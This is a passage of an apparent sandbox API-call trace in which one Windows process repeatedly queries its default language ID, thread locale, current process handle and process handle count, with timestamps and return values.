hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.801] GetSystemDefaultLangID () returned 0x25c0409 [0186.801] GetThreadLocale () returned 0x409 [0186.801] GetCurrentProcess () returned 0xffffffff [0186.801] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.802] GetSystemDefaultLangID () returned 0x25c0409 [0186.802] GetThreadLocale () returned 0x409 [0186.802] GetCurrentProcess () returned 0xffffffff [0186.802] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.803] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.803] GetSystemDefaultLangID () returned 0x25c0409 [0186.803] GetThreadLocale () returned 0x409 [0186.803] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.804] GetThreadLocale () returned 0x409 [0186.804] GetCurrentProcess () returned 0xffffffff [0186.804] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.804] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.805] GetSystemDefaultLangID () returned 0x25c0409 [0186.805] GetThreadLocale () returned 0x409 [0186.805] GetCurrentProcess () returned 0xffffffff [0186.805] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.806] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.806] GetSystemDefaultLangID () returned 0x25c0409 [0186.806] GetThreadLocale () returned 0x409 [0186.806] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.807] GetCurrentProcess () returned 0xffffffff [0186.807] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.807] GetSystemDefaultLangID () returned 0x25c0409 [0186.807] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.808] GetThreadLocale () returned 0x409 [0186.808] GetCurrentProcess () returned 0xffffffff [0186.808] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.808] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.809] GetSystemDefaultLangID () returned 0x25c0409 [0186.809] GetThreadLocale () returned 0x409 [0186.809] GetCurrentProcess () returned 0xffffffff [0186.809] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.810] GetSystemDefaultLangID () returned 0x25c0409 [0186.810] GetThreadLocale () returned 0x409 [0186.810] GetCurrentProcess () returned 0xffffffff [0186.810] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.811] GetCurrentProcess () returned 0xffffffff [0186.811] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.811] GetSystemDefaultLangID () returned 0x25c0409 [0186.811] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.812] GetSystemDefaultLangID () returned 0x25c0409 [0186.812] GetThreadLocale () returned 0x409 [0186.812] GetCurrentProcess () returned 0xffffffff [0186.812] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.813] GetSystemDefaultLangID () returned 0x25c0409 [0186.813] GetThreadLocale () returned 0x409 [0186.813] GetCurrentProcess () returned 0xffffffff [0186.813] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.814] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.814] GetSystemDefaultLangID () returned 0x25c0409 [0186.814] GetThreadLocale () returned 0x409 [0186.814] GetCurrentProcess () returned 0xffffffff [0186.815] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.815] GetSystemDefaultLangID () returned 0x25c0409 [0186.815] GetThreadLocale () returned 0x409 [0186.815] GetCurrentProcess () returned 0xffffffff [0186.815] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.815] GetSystemDefaultLangID () returned 0x25c0409 [0186.815] GetThreadLocale () returned 0x409 [0186.815] GetCurrentProcess () returned 0xffffffff [0186.815] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.815] GetSystemDefaultLangID () returned 0x25c0409 [0186.815] GetThreadLocale () returned 0x409 [0186.815] GetCurrentProcess () returned 0xffffffff [0186.815] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.815] GetSystemDefaultLangID () returned 0x25c0409 [0186.815] GetThreadLocale () returned 0x409 [0186.815] GetCurrentProcess () returned 0xffffffff [0186.815] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.815] GetSystemDefaultLangID () returned 0x25c0409 [0186.815] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.817] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.817] GetSystemDefaultLangID () returned 0x25c0409 [0186.817] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.817] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.817] GetSystemDefaultLangID () returned 0x25c0409 [0186.817] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.817] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.817] GetSystemDefaultLangID () returned 0x25c0409 [0186.817] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.817] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.817] GetSystemDefaultLangID () returned 0x25c0409 [0186.817] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.817] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.817] GetSystemDefaultLangID () returned 0x25c0409 [0186.817] GetThreadLocale () returned 0x409 [0186.817] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 [0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 [0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 [0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 [0186.818] GetCurrentProcess () returned 0xffffffff [0186.818] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0186.818] GetSystemDefaultLangID () returned 0x25c0409 [0186.818] GetThreadLocale () returned 0x409 